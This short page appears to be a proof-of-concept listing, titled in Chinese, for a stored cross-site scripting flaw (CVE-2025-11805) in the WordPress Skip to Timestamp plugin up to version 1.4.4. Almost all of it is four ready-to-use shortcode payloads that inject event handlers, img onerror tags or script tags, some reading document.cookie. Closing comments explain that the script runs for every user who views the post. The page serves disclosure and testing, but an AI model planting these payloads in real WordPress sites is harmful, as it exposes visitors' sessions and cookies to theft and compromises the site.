CVE-2025-11805 WordPress Skip to Timestamp插件存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-11805 --> <!-- WordPress Skip to Timestamp Plugin <= 1.4.4 --> <!-- Method 1: Using event handler --> [skipto time="10 onerror=alert(document.domain)"] <!-- Method 2: Breaking out of attribute with quote injection --> [skipto time="10;alert('XSS');//"] <!-- Method 3: Using img tag with onerror --> [skipto time="10"><img src=x onerror=alert(document.cookie)>//"] <!-- Method 4: Using script tag injection --> [skipto time="10"></span><script>alert('Stored XSS');</script><span>"] <!-- Attacker injects one of the above shortcodes in a WordPress post --> <!-- Any user viewing the post will execute the malicious JavaScript -->